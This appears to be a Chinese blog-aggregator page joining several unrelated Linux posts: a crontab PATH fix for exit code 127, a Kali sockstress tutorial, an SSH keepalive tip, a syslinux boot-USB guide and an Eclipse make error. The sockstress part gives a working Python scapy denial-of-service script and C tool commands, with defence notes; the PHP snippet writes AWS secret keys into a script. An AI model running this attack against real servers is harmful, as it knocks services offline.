127 erroe linux
2019-06-23 00:05:32 wccczxm 阅读数 921

今天遇见一个十分坑逼的问题,那就是我写了一个PHP脚本,生成.sh脚本,然后执行,判断次sh脚本是否执行成功。在linux下面执行php脚本,一切正常,但是由于我们需要定时跑脚本,所以加入了crontab的定时脚本任务,但是经过测试,每次脚本都不会执行成功。匪夷所思的问题,网上查了一下也没发现什么原因。具体代码如下:

private function syncS3File($filePath, $count = 0)
    {
        $pgCache  = new \pgc\caching\PGCache('cache.bmall');
        $cacheKey = 'unity_big_data_process_' . date('Ymd');

        //生成shell脚本
        $s3Shell        = $filePath . 's3.sh';
        $s3Config       = \Yii::$app->params['s3Config'];
        $awsS3Region    = $s3Config['region'];
        $awsS3KeyId     = $s3Config['accessKeyId'];
        $awsS3AccessKey = $s3Config['secretAccessKey'];
        $awsS3Url       = self::UNITY_BIG_DATA_URL;
        $awsS3FilePath  = $filePath . 'gz'; //s3 gz目录
        if (!file_exists($s3Shell)) {
            $content = '#!/usr/bin/env bash
export AWS_DEFAULT_REGION=' . $awsS3Region . '
export AWS_ACCESS_KEY_ID=' . $awsS3KeyId . '
export AWS_SECRET_ACCESS_KEY=' . $awsS3AccessKey . '
aws s3 sync ' . $awsS3Url . ' ' . $awsS3FilePath . '
';
            file_put_contents($s3Shell, $content, LOCK_EX);
            chmod($s3Shell, 0755);
        }

        //调用shell脚本,同步s3数据
        system($s3Shell, $result);
        //result为0代表同步成功,为1代表同步失败
        if ($result == 0) {
            //获取
            return $awsS3FilePath;
        } else {
            $count = $count + 1;
            if ($count > 20) {
                $pgCache->set($cacheKey, self::UNITY_BIG_DATA_FAILED, self::UNITY_BIG_DATA_CACHE_TIME);
                throw new ErrorException('获取s3的unity数据失败', 500);
            }
            $this->syncS3File($filePath, $count);
        }

        return $awsS3FilePath;
    }

经过测试发现system的结果错误代码是127,最后单独把这个代码放入测试脚本,把所有输出都显示出来。

/home/worker/s3.sh >> 1.log 2&1

结果发现aws 命令不存在,原来是因为crontab -e 里面的路径是/sbin:/bin:/usr/sbin:/usr/bin,而我们安装的aws是在/home/worker/python/bin,所以我在Linux下面执行的时候,是worker账号执行的,是能查询到/home/worker/python/bin的. 于是答案就知晓了,只需要在crontab -e的最底部加上:

SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/home/worker/bin:/home/worker/python/bin

这下crontab可以正常执行脚本了。

Be the First to comment.
2018-04-11 23:10:01 Kevinhanser 阅读数 552

本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程

Kali Linux渗透测试(苑房弘)博客记录

1. 简介

  • 2008年由Jack C.Louis 发现
  • 针对TCP服务的拒绝服务攻击
    • 消耗被攻击目标系统资源
    • 与攻击目标建立大量socket链接
    • 完成三次握手,最后的ACK包window 大小为0 (客户端不接收数据)
    • 攻击者资源消耗小(CPU、内存、带宽)
    • 异步攻击,单机可拒绝服务高配资源服务器
    • Window 窗口实现的TCP 流控

2. 脚本攻击

1. python 测试脚本

#!/usr/bin/python
#coding=utf-8

from scapy.all import*
from time import sleep
import thread
import random
import logging
import os
import signal
import sys
import signal

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

if len(sys.argv) != 4:
    print "用法: ./sockstress.py [IP地址] [端口] [线程数]"
    print "举例: ../sockstress.py  1.1.1.1 80 20 # 请确定被攻击端口处于开放状态"
    sys.exit()

target = str(sys.argv[1])
dstport= int(sys.argv[2])
threads = int(sys.argv[3])

## 攻击函数
def sockstress(target,dstport) :
    while 0 == 0:
        try:
            x = random.randint(0,65535)
            response = sr1(IP(dst=target)/TCP(sport=x,dport=dstport,flags = 'S'),timeout=1,verbose=0)
            send(IP(dst=target)/TCP(dport=dstport,sport=x,window=0,lags='A',ack=(response[TCP].seq + 1) )/'\x00\x00',verbose=0)
        except:
            pass

## 停止攻击函数
def shutdown(signal,frame):
    print "正在修复 iptables 规则"
    os.system('iptables -D OUTPUT -p tcp --tcp-flags RST RST -d '+ target +' -j DROP')
    sys.exit()

## 添加iptables规则
os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d '+ target +' -j DROP')
signal.signal(signal.SIGINT, shutdown)

## 多线程攻击
print "\n攻击正在进行...按 Ctrl+C 停止攻击"
for x in range(0,threads):
    thread.start_new_thread(sockstress, (target,dstport))

##永远执行
while 0 == 0:
    sleep(1)
  • 测试结果

    # 查看系统连接数
    netstat | grep ESTABLISHED | wc -l
    

2. C 攻击脚本

  • 下载编译

    github 下载地址

    gcc -Wall -c sockstress.c
    gcc -pthread -o sockstress sockstress.o
    ./sockstress 10.10.10.132:80 eth0
    ./sockstress 10.10.10.132:80 eth0 -p payloads/http
    
    防火墙规则
    iptables -A OUTPUT -p TCP --tcp-flags rst rst -d 10.10.10.132 -j DROP
    
  • 查看攻击效果

    netstat -tulnp | grep ESTABLISHED | wc -l
    free
    top
    

3. 防御措施

  • 直到今天sockstress攻击仍然是一种很有效的DOS攻击方式
  • 由于建立完整的TCP三步握手,因此使用syn cookie防御无效
  • 根本的防御方法是采用白名单(不实际)
  • 折中对策限制单位时间内每IP建的TCP连接数
    • 封杀每30秒与 80 端口建立连接超过 10 个的IP地址
    • iptables -I INPUT -p tcp –dport 80 -m state–state NEW -m recent–set
    • iptables -I INPUT-p tcp -dport 80 -m state-state NEW-m recent -update–seconds 30 -hitcount 10 j DROP
    • 以上规则对DDOS攻击无效
2015-06-27 21:19:19 qq_18989901 阅读数 423

当远程连接出现如题错误时,可能的原因是/etc/ssh/sshd_config文件中某一定义有问题,查找有无#TcpKeepAlive行,没有的话添加

#TCPKeepAlive yes
保存退出即可保持远程连接正常工作。
2015-07-09 17:33:26 sanitywolf 阅读数 215

第14章 制做启动U盘-方法1

step1:准备syslinux。

在之前的步骤里,己编译安装了syslinux5.00,因此这里不需要再做什么了。

step2:准备U盘。

在之前的步骤里,己将一个8G的U盘分成两个区:一个msdos分区和一个linux分区。假设这两个分区对应/dev/sdb1 /dev/sdb2两个设备文件,用以下命令重建U盘上的文件系统:

mkfs.msdos -n U1 /dev/sdb1

mkfs.ext3 -L U2 /dev/sdb2

step3:安装mbr。

保险起见,如U盘己被mount上来,先卸载。命令如下:

umount /dev/sdb1

umount /dev/sdb2

然后,

cd $LFS/../

dd if=syslinux-5.00/mbr/mbr.bin of=/dev/sdb

step4:将一些文件拷到U盘上。命令如下:

if [ -d udisk ]; then rm -rf udisk; fi

if [ -d myfuntoo ]; then rm -rf myfuntoo; fi

mkdir -v udisk myfuntoo

mount /dev/sdb1 udisk

mount -o loop myfuntoo.iso myfuntoo

cp -rv myfuntoo/* udisk/

step5:在做cd的iso里,用的是isolinux启动,现在要改用适用于U盘的syslinux启动,需要移动一些文件和改名。命令如下:

mv udisk/isolinux/* udisk/

mv udisk/isolinux.cfg udisk/syslinux.cfg

rm -rf udisk/isolinux*

step6:在启动参数里增加slowusb,使得启动时,留下停顿时间,以让usb能挂载上来。命令如下:

sed -i \

    -e "s:cdroot:cdroot slowusb:" \

    -e "s:kernel memtest86:kernel memtest:" \

    udisk/syslinux.cfg

2013-12-15 20:35:00 weixin_33875839 阅读数 5

不知道为啥,copy原来的eclipse环境到新的地方后,编译总是出错:

make:*** error 127

解决方案是:属性Properties---C++编译 c++build---build setting---build command 设置为 make -v

参考:http://www.eclipse.org/forums/index.php/t/523132/

原因不知道为啥。。

yuminstalltcl build-essentialtkgettext

博文 来自: a924420593
没有更多推荐了,返回首页